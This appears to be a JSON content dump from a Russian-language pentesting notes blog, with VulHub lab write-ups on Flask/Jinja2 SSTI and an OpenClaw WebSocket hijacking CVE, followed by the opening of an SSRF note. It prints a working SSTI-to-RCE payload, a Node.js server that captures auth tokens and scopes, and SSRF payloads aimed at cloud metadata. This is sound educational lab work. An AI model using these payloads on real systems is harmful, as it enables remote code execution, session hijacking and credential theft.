",[48,955,794],{},[41,957,960],{"className":958,"code":959,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{\"\".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.keys()}}\n",[48,961,959],{"__ignoreMap":50},[21,963,964],{},[693,965],{"alt":966,"src":967},"globals.keys() — видны функции модуля os","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F09-globals-keys.png",[21,969,970,971,973,974,973,977,980,981,983],{},"Видим ",[48,972,879],{},", ",[48,975,976],{},"system",[48,978,979],{},"listdir"," — весь модуль ",[48,982,794],{}," доступен.",[16,985,987],{"id":986},"эксплуатация","Эксплуатация",[21,989,990],{},"Собираем финальный payload. Логика цепочки:",[330,992,993,1003,1012,1020,1028,1034],{},[333,994,995,998,999,1002],{},[48,996,997],{},"''.__class__"," — класс строки (",[48,1000,1001],{},"str",")",[333,1004,1005,1008,1009,1002],{},[48,1006,1007],{},".__mro__[1]"," — базовый класс (",[48,1010,1011],{},"object",[333,1013,1014,1017,1018],{},[48,1015,1016],{},".__subclasses__()[117]"," — класс ",[48,1019,883],{},[333,1021,1022,1025,1026],{},[48,1023,1024],{},".__init__.__globals__"," — глобалы модуля ",[48,1027,794],{},[333,1029,1030,1033],{},[48,1031,1032],{},"['popen']('id')"," — запуск команды",[333,1035,1036,1039],{},[48,1037,1038],{},".read()"," — чтение вывода",[41,1041,1044],{"className":1042,"code":1043,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}\n",[48,1045,1043],{"__ignoreMap":50},[21,1047,1048],{},[693,1049],{"alt":1050,"src":1051},"RCE: uid=33(www-data) gid=33(www-data) groups=33(www-data),0(root)","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F10-rce-result.png",[21,1053,1054,1057,1058,1061],{},[48,1055,1056],{},"uid=33(www-data)"," — команда ",[48,1059,1060],{},"id"," выполнена на сервере. RCE получен.",[16,1063,1065],{"id":1064},"вывод","Вывод",[21,1067,1068,1069,1072],{},"Корневая причина — пользовательский ввод попадает напрямую в ",[48,1070,1071],{},"render_template_string()"," без санитизации. Jinja2 сам по себе не уязвим — проблема в том, как разработчик его использует.",[21,1074,1075],{},"Защита:",[748,1077,1078,1087,1097],{},[333,1079,1080,1083,1084],{},[637,1081,1082],{},"Не подставлять ввод в шаблон"," — передавать данные через контекст: ",[48,1085,1086],{},"render_template_string(\"Hello {{name}}\", name=user_input)",[333,1088,1089,1092,1093,1096],{},[637,1090,1091],{},"Использовать песочницу"," — ",[48,1094,1095],{},"jinja2.sandbox.SandboxedEnvironment"," ограничивает доступные атрибуты",[333,1098,1099,1102,1103,973,1106,973,1109,1112],{},[637,1100,1101],{},"Валидировать ввод"," — отсекать ",[48,1104,1105],{},"{{",[48,1107,1108],{},"{%",[48,1110,1111],{},"__"," на уровне входных данных",[357,1114,1115],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":50,"searchDepth":98,"depth":98,"links":1117},[1118,1119,1120,1124,1131,1132],{"id":624,"depth":98,"text":625},{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683,"children":1121},[1122,1123],{"id":710,"depth":104,"text":711},{"id":739,"depth":104,"text":740},{"id":787,"depth":98,"text":788,"children":1125},[1126,1127,1128,1129,1130],{"id":804,"depth":104,"text":805},{"id":830,"depth":104,"text":831},{"id":846,"depth":104,"text":847},{"id":865,"depth":104,"text":866},{"id":945,"depth":104,"text":946},{"id":986,"depth":98,"text":987},{"id":1064,"depth":98,"text":1065},"2026-04-25","Эксплуатация SSTI в Flask\u002FJinja2: от {{7*7}} до RCE через цепочку MRO Python-объектов.",{},"\u002Fnotes\u002Fpentesting\u002Fvulhub-flask-ssti",{"title":615,"description":1134},"notes\u002Fpentesting\u002Fvulhub-flask-ssti",[1140,1141,1142,1143,1144,121],"vulhub","ssti","flask","jinja2","python","w7eJRZkM94gRNmClMSbIOr2o7nagp1YgdfuYt-qpzfk",{"id":1147,"title":1148,"author":6,"body":1149,"date":1133,"description":1951,"difficulty":110,"extension":109,"image":1923,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":1952,"navigation":112,"notes":110,"path":1953,"psTitle":110,"seo":1954,"stem":1955,"tags":1956,"timeSpent":110,"type":123,"__hash__":1960},"content_ru\u002Fnotes\u002Fpentesting\u002Fvulhub-openclaw-cswsh.md","Cross-Site WebSocket Hijacking в OpenClaw (VulHub)",{"type":8,"value":1150,"toc":1943},[1151,1155,1157,1174,1176,1199,1201,1215,1217,1220,1226,1229,1235,1245,1251,1258,1262,1265,1275,1281,1287,1370,1376,1382,1576,1599,1601,1604,1878,1881,1894,1899,1905,1911,1918,1924,1929,1931,1937,1940],[11,1152,1154],{"id":1153},"cross-site-websocket-hijacking-в-openclaw","Cross-Site WebSocket Hijacking в OpenClaw",[16,1156,625],{"id":624},[21,1158,1159,1162,1163,1166,1167,1169,1170,1173],{},[637,1160,1161],{},"CVE-2026-25253"," (CVSS 8.8) — уязвимость в OpenClaw Control UI (clawdbot до версии 2026.1.28). UI принимает query-параметр ",[48,1164,1165],{},"gatewayUrl"," и автоматически подключается по нему через WebSocket без валидации и подтверждения пользователя. Атакующий может направить жертву на страницу с подставным ",[48,1168,1165],{},", перехватить ",[48,1171,1172],{},"auth.token",", identity устройства и операторские scopes. С украденными credentials возможен перехват сессии и RCE.",[16,1175,19],{"id":18},[21,1177,1178,640,1180,1185,1187,1190,1191,1193,1195,1196,1198],{},[637,1179,639],{},[24,1181,1184],{"href":1182,"rel":1183},"https:\u002F\u002Fgithub.com\u002Fvulhub\u002Fvulhub\u002Fblob\u002Fmaster\u002Fopenclaw\u002FCVE-2026-25253\u002FREADME.md",[28],"VulHub — CVE-2026-25253",[647,1186],{},[637,1188,1189],{},"CVSS:"," 8.8 (High)",[647,1192],{},[637,1194,651],{}," Перехватить ",[48,1197,1172],{}," оператора через подмену WebSocket-сервера.",[21,1200,655],{},[41,1202,1203],{"className":658,"code":659,"language":660,"meta":50,"style":50},[48,1204,1205],{"__ignoreMap":50},[308,1206,1207,1209,1211,1213],{"class":310,"line":311},[308,1208,668],{"class":667},[308,1210,672],{"class":671},[308,1212,675],{"class":671},[308,1214,679],{"class":678},[16,1216,683],{"id":682},[21,1218,1219],{},"Стартовая страница — Chat:",[21,1221,1222],{},[693,1223],{"alt":1224,"src":1225},"Стартовая страница OpenClaw Control UI — вкладка Chat","\u002Fimages\u002Fposts\u002Fvulhub-openclaw-cswsh\u002F01-chat-page.png",[21,1227,1228],{},"Переходим на Overview:",[21,1230,1231],{},[693,1232],{"alt":1233,"src":1234},"Страница Overview с полем WebSocket URL","\u002Fimages\u002Fposts\u002Fvulhub-openclaw-cswsh\u002F02-overview-page.png",[21,1236,1237,1238,1241,1242,1244],{},"На странице видим поле ",[637,1239,1240],{},"WebSocket URL"," — возможно, в него рефлектится query-параметр ",[48,1243,1165],{}," из описания CVE. Проверяем:",[41,1246,1249],{"className":1247,"code":1248,"language":46},[44],"http:\u002F\u002Flocalhost:18789\u002Foverview?gatewayUrl=ws:\u002F\u002Flocalhost:3001\n",[48,1250,1248],{"__ignoreMap":50},[21,1252,1253,1254,1257],{},"Подтверждено: в поле WebSocket URL появляется переданное значение ",[48,1255,1256],{},"ws:\u002F\u002Flocalhost:3001",", подключение происходит автоматически. Никакого подтверждения от пользователя не требуется.",[16,1259,1261],{"id":1260},"анализ-websocket-трафика","Анализ WebSocket-трафика",[21,1263,1264],{},"Burp здесь не нужен — смотрим WebSocket-фреймы прямо в DevTools Chrome (вкладка Network → WS).",[21,1266,1267,1268,1270,1271,1274],{},"Возвращаем ",[48,1269,1165],{}," к легитимному серверу (",[48,1272,1273],{},"ws:\u002F\u002Flocalhost:18789",") и наблюдаем обмен сообщениями.",[21,1276,1277,1280],{},[637,1278,1279],{},"Сервер → клиент"," — challenge:",[21,1282,1283],{},[693,1284],{"alt":1285,"src":1286},"WebSocket: сообщение connect.challenge от сервера","\u002Fimages\u002Fposts\u002Fvulhub-openclaw-cswsh\u002F03-ws-challenge.png",[41,1288,1292],{"className":1289,"code":1290,"language":1291,"meta":50,"style":50},"language-json shiki shiki-themes github-light github-dark","{\n  \"type\": \"event\",\n  \"event\": \"connect.challenge\",\n  \"payload\": {\n    \"nonce\": \"f57f7bae-ae58-4de2-9478-66604578b494\",\n    \"ts\": 1776687360893\n  }\n}\n","json",[48,1293,1294,1299,1313,1325,1334,1347,1358,1364],{"__ignoreMap":50},[308,1295,1296],{"class":310,"line":311},[308,1297,1298],{"class":911},"{\n",[308,1300,1301,1304,1307,1310],{"class":310,"line":98},[308,1302,1303],{"class":678},"  \"type\"",[308,1305,1306],{"class":911},": ",[308,1308,1309],{"class":671},"\"event\"",[308,1311,1312],{"class":911},",\n",[308,1314,1315,1318,1320,1323],{"class":310,"line":104},[308,1316,1317],{"class":678},"  \"event\"",[308,1319,1306],{"class":911},[308,1321,1322],{"class":671},"\"connect.challenge\"",[308,1324,1312],{"class":911},[308,1326,1328,1331],{"class":310,"line":1327},4,[308,1329,1330],{"class":678},"  \"payload\"",[308,1332,1333],{"class":911},": {\n",[308,1335,1337,1340,1342,1345],{"class":310,"line":1336},5,[308,1338,1339],{"class":678},"    \"nonce\"",[308,1341,1306],{"class":911},[308,1343,1344],{"class":671},"\"f57f7bae-ae58-4de2-9478-66604578b494\"",[308,1346,1312],{"class":911},[308,1348,1350,1353,1355],{"class":310,"line":1349},6,[308,1351,1352],{"class":678},"    \"ts\"",[308,1354,1306],{"class":911},[308,1356,1357],{"class":678},"1776687360893\n",[308,1359,1361],{"class":310,"line":1360},7,[308,1362,1363],{"class":911},"  }\n",[308,1365,1367],{"class":310,"line":1366},8,[308,1368,1369],{"class":911},"}\n",[21,1371,1372,1375],{},[637,1373,1374],{},"Клиент → сервер"," — connect с полными credentials:",[21,1377,1378],{},[693,1379],{"alt":1380,"src":1381},"WebSocket: ответ клиента с auth.token и scopes","\u002Fimages\u002Fposts\u002Fvulhub-openclaw-cswsh\u002F04-ws-connect.png",[41,1383,1385],{"className":1289,"code":1384,"language":1291,"meta":50,"style":50},"{\n  \"type\": \"req\",\n  \"method\": \"connect\",\n  \"params\": {\n    \"auth\": {\n      \"token\": \"24e16b4eb430478fbab207a03568ac3a\"\n    },\n    \"client\": {\n      \"id\": \"clawdbot-control-ui\",\n      \"version\": \"dev\",\n      \"platform\": \"MacIntel\",\n      \"mode\": \"webchat\"\n    },\n    \"device\": {\n      \"id\": \"4d546a991107044581ddb7f3975ee77ce81043ca4b90e625246a40f3dae974ae\"\n    },\n    \"role\": \"operator\",\n    \"scopes\": [\"operator.admin\", \"operator.approvals\", \"operator.pairing\"]\n  }\n}\n",[48,1386,1387,1391,1402,1414,1421,1428,1438,1443,1450,1463,1476,1489,1500,1505,1513,1523,1528,1541,1566,1571],{"__ignoreMap":50},[308,1388,1389],{"class":310,"line":311},[308,1390,1298],{"class":911},[308,1392,1393,1395,1397,1400],{"class":310,"line":98},[308,1394,1303],{"class":678},[308,1396,1306],{"class":911},[308,1398,1399],{"class":671},"\"req\"",[308,1401,1312],{"class":911},[308,1403,1404,1407,1409,1412],{"class":310,"line":104},[308,1405,1406],{"class":678},"  \"method\"",[308,1408,1306],{"class":911},[308,1410,1411],{"class":671},"\"connect\"",[308,1413,1312],{"class":911},[308,1415,1416,1419],{"class":310,"line":1327},[308,1417,1418],{"class":678},"  \"params\"",[308,1420,1333],{"class":911},[308,1422,1423,1426],{"class":310,"line":1336},[308,1424,1425],{"class":678},"    \"auth\"",[308,1427,1333],{"class":911},[308,1429,1430,1433,1435],{"class":310,"line":1349},[308,1431,1432],{"class":678},"      \"token\"",[308,1434,1306],{"class":911},[308,1436,1437],{"class":671},"\"24e16b4eb430478fbab207a03568ac3a\"\n",[308,1439,1440],{"class":310,"line":1360},[308,1441,1442],{"class":911},"    },\n",[308,1444,1445,1448],{"class":310,"line":1366},[308,1446,1447],{"class":678},"    \"client\"",[308,1449,1333],{"class":911},[308,1451,1453,1456,1458,1461],{"class":310,"line":1452},9,[308,1454,1455],{"class":678},"      \"id\"",[308,1457,1306],{"class":911},[308,1459,1460],{"class":671},"\"clawdbot-control-ui\"",[308,1462,1312],{"class":911},[308,1464,1466,1469,1471,1474],{"class":310,"line":1465},10,[308,1467,1468],{"class":678},"      \"version\"",[308,1470,1306],{"class":911},[308,1472,1473],{"class":671},"\"dev\"",[308,1475,1312],{"class":911},[308,1477,1479,1482,1484,1487],{"class":310,"line":1478},11,[308,1480,1481],{"class":678},"      \"platform\"",[308,1483,1306],{"class":911},[308,1485,1486],{"class":671},"\"MacIntel\"",[308,1488,1312],{"class":911},[308,1490,1492,1495,1497],{"class":310,"line":1491},12,[308,1493,1494],{"class":678},"      \"mode\"",[308,1496,1306],{"class":911},[308,1498,1499],{"class":671},"\"webchat\"\n",[308,1501,1503],{"class":310,"line":1502},13,[308,1504,1442],{"class":911},[308,1506,1508,1511],{"class":310,"line":1507},14,[308,1509,1510],{"class":678},"    \"device\"",[308,1512,1333],{"class":911},[308,1514,1516,1518,1520],{"class":310,"line":1515},15,[308,1517,1455],{"class":678},[308,1519,1306],{"class":911},[308,1521,1522],{"class":671},"\"4d546a991107044581ddb7f3975ee77ce81043ca4b90e625246a40f3dae974ae\"\n",[308,1524,1526],{"class":310,"line":1525},16,[308,1527,1442],{"class":911},[308,1529,1531,1534,1536,1539],{"class":310,"line":1530},17,[308,1532,1533],{"class":678},"    \"role\"",[308,1535,1306],{"class":911},[308,1537,1538],{"class":671},"\"operator\"",[308,1540,1312],{"class":911},[308,1542,1544,1547,1550,1553,1555,1558,1560,1563],{"class":310,"line":1543},18,[308,1545,1546],{"class":678},"    \"scopes\"",[308,1548,1549],{"class":911},": [",[308,1551,1552],{"class":671},"\"operator.admin\"",[308,1554,973],{"class":911},[308,1556,1557],{"class":671},"\"operator.approvals\"",[308,1559,973],{"class":911},[308,1561,1562],{"class":671},"\"operator.pairing\"",[308,1564,1565],{"class":911},"]\n",[308,1567,1569],{"class":310,"line":1568},19,[308,1570,1363],{"class":911},[308,1572,1574],{"class":310,"line":1573},20,[308,1575,1369],{"class":911},[21,1577,1578,1579,973,1581,1584,1585,1588,1589,973,1592,973,1595,1598],{},"Клиент отправляет ",[48,1580,1172],{},[48,1582,1583],{},"device.id",", роль ",[48,1586,1587],{},"operator"," со scopes ",[48,1590,1591],{},"admin",[48,1593,1594],{},"approvals",[48,1596,1597],{},"pairing"," — всё, что нужно для перехвата сессии.",[16,1600,987],{"id":986},[21,1602,1603],{},"Пишем минимальный WebSocket-сервер, который ловит credentials подключающегося клиента:",[41,1605,1607],{"className":899,"code":1606,"language":901,"meta":50,"style":50},"\u002F\u002F ws.mjs\nimport { WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 7777 });\n\nwss.on('connection', (ws) => {\n  console.log('[+] Client connected');\n\n  ws.on('message', (data) => {\n    const msg = JSON.parse(data);\n    console.log('[+] auth.token:', msg.params?.auth?.token);\n    console.log('[+] device.id: ', msg.params?.device?.id);\n    console.log('[+] role:      ', msg.params?.role);\n    console.log('[+] scopes:    ', msg.params?.scopes);\n  });\n\n  ws.on('close', () => console.log('[-] Client disconnected'));\n});\n\nconsole.log('[*] Listening on ws:\u002F\u002Flocalhost:7777');\n",[48,1608,1609,1615,1632,1637,1663,1667,1696,1712,1716,1739,1760,1775,1789,1803,1817,1822,1826,1855,1860,1864],{"__ignoreMap":50},[308,1610,1611],{"class":310,"line":311},[308,1612,1614],{"class":1613},"sJ8bj","\u002F\u002F ws.mjs\n",[308,1616,1617,1620,1623,1626,1629],{"class":310,"line":98},[308,1618,798],{"class":1619},"szBVR",[308,1621,1622],{"class":911}," { WebSocketServer } ",[308,1624,1625],{"class":1619},"from",[308,1627,1628],{"class":671}," 'ws'",[308,1630,1631],{"class":911},";\n",[308,1633,1634],{"class":310,"line":104},[308,1635,1636],{"emptyLinePlaceholder":112},"\n",[308,1638,1639,1642,1645,1648,1651,1654,1657,1660],{"class":310,"line":1327},[308,1640,1641],{"class":1619},"const",[308,1643,1644],{"class":678}," wss",[308,1646,1647],{"class":1619}," =",[308,1649,1650],{"class":1619}," new",[308,1652,1653],{"class":667}," WebSocketServer",[308,1655,1656],{"class":911},"({ port: ",[308,1658,1659],{"class":678},"7777",[308,1661,1662],{"class":911}," });\n",[308,1664,1665],{"class":310,"line":1336},[308,1666,1636],{"emptyLinePlaceholder":112},[308,1668,1669,1672,1675,1677,1680,1683,1687,1690,1693],{"class":310,"line":1349},[308,1670,1671],{"class":911},"wss.",[308,1673,1674],{"class":667},"on",[308,1676,917],{"class":911},[308,1678,1679],{"class":671},"'connection'",[308,1681,1682],{"class":911},", (",[308,1684,1686],{"class":1685},"s4XuR","ws",[308,1688,1689],{"class":911},") ",[308,1691,1692],{"class":1619},"=>",[308,1694,1695],{"class":911}," {\n",[308,1697,1698,1701,1704,1706,1709],{"class":310,"line":1360},[308,1699,1700],{"class":911},"  console.",[308,1702,1703],{"class":667},"log",[308,1705,917],{"class":911},[308,1707,1708],{"class":671},"'[+] Client connected'",[308,1710,1711],{"class":911},");\n",[308,1713,1714],{"class":310,"line":1366},[308,1715,1636],{"emptyLinePlaceholder":112},[308,1717,1718,1721,1723,1725,1728,1730,1733,1735,1737],{"class":310,"line":1452},[308,1719,1720],{"class":911},"  ws.",[308,1722,1674],{"class":667},[308,1724,917],{"class":911},[308,1726,1727],{"class":671},"'message'",[308,1729,1682],{"class":911},[308,1731,1732],{"class":1685},"data",[308,1734,1689],{"class":911},[308,1736,1692],{"class":1619},[308,1738,1695],{"class":911},[308,1740,1741,1744,1747,1749,1752,1754,1757],{"class":310,"line":1465},[308,1742,1743],{"class":1619},"    const",[308,1745,1746],{"class":678}," msg",[308,1748,1647],{"class":1619},[308,1750,1751],{"class":678}," JSON",[308,1753,426],{"class":911},[308,1755,1756],{"class":667},"parse",[308,1758,1759],{"class":911},"(data);\n",[308,1761,1762,1765,1767,1769,1772],{"class":310,"line":1478},[308,1763,1764],{"class":911},"    console.",[308,1766,1703],{"class":667},[308,1768,917],{"class":911},[308,1770,1771],{"class":671},"'[+] auth.token:'",[308,1773,1774],{"class":911},", msg.params?.auth?.token);\n",[308,1776,1777,1779,1781,1783,1786],{"class":310,"line":1491},[308,1778,1764],{"class":911},[308,1780,1703],{"class":667},[308,1782,917],{"class":911},[308,1784,1785],{"class":671},"'[+] device.id: '",[308,1787,1788],{"class":911},", msg.params?.device?.id);\n",[308,1790,1791,1793,1795,1797,1800],{"class":310,"line":1502},[308,1792,1764],{"class":911},[308,1794,1703],{"class":667},[308,1796,917],{"class":911},[308,1798,1799],{"class":671},"'[+] role:      '",[308,1801,1802],{"class":911},", msg.params?.role);\n",[308,1804,1805,1807,1809,1811,1814],{"class":310,"line":1507},[308,1806,1764],{"class":911},[308,1808,1703],{"class":667},[308,1810,917],{"class":911},[308,1812,1813],{"class":671},"'[+] scopes:    '",[308,1815,1816],{"class":911},", msg.params?.scopes);\n",[308,1818,1819],{"class":310,"line":1515},[308,1820,1821],{"class":911},"  });\n",[308,1823,1824],{"class":310,"line":1525},[308,1825,1636],{"emptyLinePlaceholder":112},[308,1827,1828,1830,1832,1834,1837,1840,1842,1845,1847,1849,1852],{"class":310,"line":1530},[308,1829,1720],{"class":911},[308,1831,1674],{"class":667},[308,1833,917],{"class":911},[308,1835,1836],{"class":671},"'close'",[308,1838,1839],{"class":911},", () ",[308,1841,1692],{"class":1619},[308,1843,1844],{"class":911}," console.",[308,1846,1703],{"class":667},[308,1848,917],{"class":911},[308,1850,1851],{"class":671},"'[-] Client disconnected'",[308,1853,1854],{"class":911},"));\n",[308,1856,1857],{"class":310,"line":1543},[308,1858,1859],{"class":911},"});\n",[308,1861,1862],{"class":310,"line":1568},[308,1863,1636],{"emptyLinePlaceholder":112},[308,1865,1866,1869,1871,1873,1876],{"class":310,"line":1573},[308,1867,1868],{"class":911},"console.",[308,1870,1703],{"class":667},[308,1872,917],{"class":911},[308,1874,1875],{"class":671},"'[*] Listening on ws:\u002F\u002Flocalhost:7777'",[308,1877,1711],{"class":911},[21,1879,1880],{},"Запускаем:",[41,1882,1884],{"className":658,"code":1883,"language":660,"meta":50,"style":50},"node ws.mjs\n",[48,1885,1886],{"__ignoreMap":50},[308,1887,1888,1891],{"class":310,"line":311},[308,1889,1890],{"class":667},"node",[308,1892,1893],{"class":671}," ws.mjs\n",[21,1895,1896,1897,215],{},"Точка входа — подставляем наш сервер в ",[48,1898,1165],{},[41,1900,1903],{"className":1901,"code":1902,"language":46},[44],"http:\u002F\u002Flocalhost:18789\u002Foverview?gatewayUrl=ws:\u002F\u002Flocalhost:7777\n",[48,1904,1902],{"__ignoreMap":50},[21,1906,1907],{},[693,1908],{"alt":1909,"src":1910},"Клиент автоматически подключился к exploit-серверу","\u002Fimages\u002Fposts\u002Fvulhub-openclaw-cswsh\u002F05-exploit-connected.png",[21,1912,1913,1914,1917],{},"Клиент подключается и ",[637,1915,1916],{},"сразу отправляет credentials"," — даже без challenge-сообщения от сервера. Нам не нужно ничего имитировать:",[21,1919,1920],{},[693,1921],{"alt":1922,"src":1923},"Консоль: auth.token и scopes получены","\u002Fimages\u002Fposts\u002Fvulhub-openclaw-cswsh\u002F06-token-stolen.png",[21,1925,1926,1928],{},[48,1927,1172],{}," добыт.",[16,1930,1065],{"id":1064},[21,1932,1933,1934,1936],{},"Разработчик полностью доверяет входным данным — ",[48,1935,1165],{}," берётся из query-строки и используется для WebSocket-подключения без какой-либо проверки. Клиент подключается и сразу отправляет credentials.",[21,1938,1939],{},"Whitelist в данном случае не поможет: сама функция подразумевает подключение к произвольному серверу. Защита здесь — спросить пользователя, доверяет ли он данному URL, прежде чем устанавливать соединение.",[357,1941,1942],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":50,"searchDepth":98,"depth":98,"links":1944},[1945,1946,1947,1948,1949,1950],{"id":624,"depth":98,"text":625},{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":1260,"depth":98,"text":1261},{"id":986,"depth":98,"text":987},{"id":1064,"depth":98,"text":1065},"Эксплуатация CSWSH-уязвимости CVE-2026-25253 в OpenClaw Control UI: перехват auth.token через подмену WebSocket-сервера, CVSS 8.8.",{},"\u002Fnotes\u002Fpentesting\u002Fvulhub-openclaw-cswsh",{"title":1148,"description":1951},"notes\u002Fpentesting\u002Fvulhub-openclaw-cswsh",[1140,1957,1958,1959,121],"websocket","cswsh","cve","V5CCmg9nz_1J2Q7AN_UyYXeoCXWUlqU3PwGrGFtssHA",{"id":1962,"title":1963,"author":6,"body":1964,"date":4020,"description":4021,"difficulty":110,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":4022,"navigation":112,"notes":110,"path":4023,"psTitle":110,"seo":4024,"stem":4025,"tags":4026,"timeSpent":110,"type":4030,"__hash__":4031},"content_ru\u002Fnotes\u002Fpentesting\u002Fssrf.md","Server-Side Request Forgery (SSRF)",{"type":8,"value":1965,"toc":3940},[1966,1969,1976,1980,1986,1993,1996,1999,2003,2007,2033,2037,2210,2214,2220,2224,2242,2244,2248,2252,2259,2265,2269,2276,2328,2332,2339,2341,2345,2349,2352,2356,2359,2365,2368,2374,2378,2384,2390,2414,2421,2425,2430,2433,2441,2448,2452,2486,2488,2492,2496,2501,2507,2512,2518,2521,2526,2532,2537,2543,2548,2554,2559,2565,2569,2574,2580,2585,2591,2594,2599,2605,2609,2615,2619,2622,2639,2642,2648,2652,2658,2663,2690,2700,2704,2711,2715,2721,2727,2734,2736,2740,2744,2750,2756,2815,2818,2823,2829,2832,2836,2842,2851,2855,2861,2868,2872,2878,2882,2885,2891,2894,2896,2900,2904,2907,2912,2918,2921,2926,2932,2938,2943,2949,2952,2958,2962,2965,2970,2999,3004,3008,3011,3017,3020,3024,3027,3041,3047,3051,3054,3074,3077,3083,3086,3090,3114,3116,3120,3123,3127,3159,3163,3196,3200,3230,3236,3238,3242,3353,3355,3359,3363,3377,3381,3407,3411,3419,3423,3440,3444,3450,3457,3459,3463,3467,3547,3551,3575,3579,3617,3621,3638,3640,3644,3698,3700,3704,3779,3781,3785,3791,3797,3803,3809,3811,3815,3819,3822,3826,3829,3833,3836,3840,3843,3847,3855,3859,3862,3866,3880,3884,3895,3899,3906,3910,3925,3927,3931,3937],[11,1967,1963],{"id":1968},"server-side-request-forgery-ssrf",[21,1970,1971,1972,1975],{},"SSRF — уязвимость, при которой ",[637,1973,1974],{},"сервер выполняет HTTP\u002FTCP-запрос по URL, который контролирует атакующий",". Атакующий не обращается к цели напрямую — он заставляет сервер сделать это за него.",[16,1977,1979],{"id":1978},"_1-что-такое-ssrf","1. Что такое SSRF",[41,1981,1984],{"className":1982,"code":1983,"language":46},[44],"Атакующий → Уязвимый сервер → Внутренний ресурс\n                  ↑\n          \"Сходи по этому URL\"\n",[48,1985,1983],{"__ignoreMap":50},[21,1987,1988,1989,1992],{},"Ключевое отличие от обычного запроса: сервер находится ",[637,1990,1991],{},"внутри периметра"," сети и имеет доступ к ресурсам, недоступным извне: внутренние API, cloud metadata, базы данных, системы оркестрации.",[21,1994,1995],{},"Сервер выступает прокси — с его IP-адресом, его сетевыми разрешениями, его сессионными куками к внутренним сервисам. Один SSRF может превратиться в утечку IAM-ключей, чтение произвольных файлов или полный RCE через внутренние сервисы.",[1997,1998],"hr",{},[16,2000,2002],{"id":2001},"_2-где-искать-ssrf","2. Где искать SSRF",[36,2004,2006],{"id":2005},"очевидные-точки-входа","Очевидные точки входа",[748,2008,2009,2021,2024,2027,2030],{},[333,2010,2011,2012,973,2015,973,2018,1002],{},"Загрузка файлов\u002Fизображений по URL (",[48,2013,2014],{},"url=",[48,2016,2017],{},"src=",[48,2019,2020],{},"image_url=",[333,2022,2023],{},"Загрузка аватара по ссылке",[333,2025,2026],{},"Импорт данных по URL (RSS, XML, CSV)",[333,2028,2029],{},"Webhook-и — пользователь задаёт URL для callback'ов",[333,2031,2032],{},"Превью ссылок (как в Slack, Telegram, мессенджерах)",[36,2034,2036],{"id":2035},"менее-очевидные-точки","Менее очевидные точки",[748,2038,2039,2178,2188,2194,2200,2205],{},[333,2040,2041,2044,2045],{},[637,2042,2043],{},"PDF\u002FHTML генерация"," — wkhtmltopdf, Puppeteer, WeasyPrint рендерят HTML и подгружают ресурсы. Payload'ы внутри HTML, который конвертируется в PDF:\n",[41,2046,2050],{"className":2047,"code":2048,"language":2049,"meta":50,"style":50},"language-html shiki shiki-themes github-light github-dark","\u003Ciframe src=\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\u003C\u002Fiframe>\n\u003Cimg src=\"http:\u002F\u002Finternal-service:8080\u002Fadmin\">\n\u003Clink rel=\"stylesheet\" 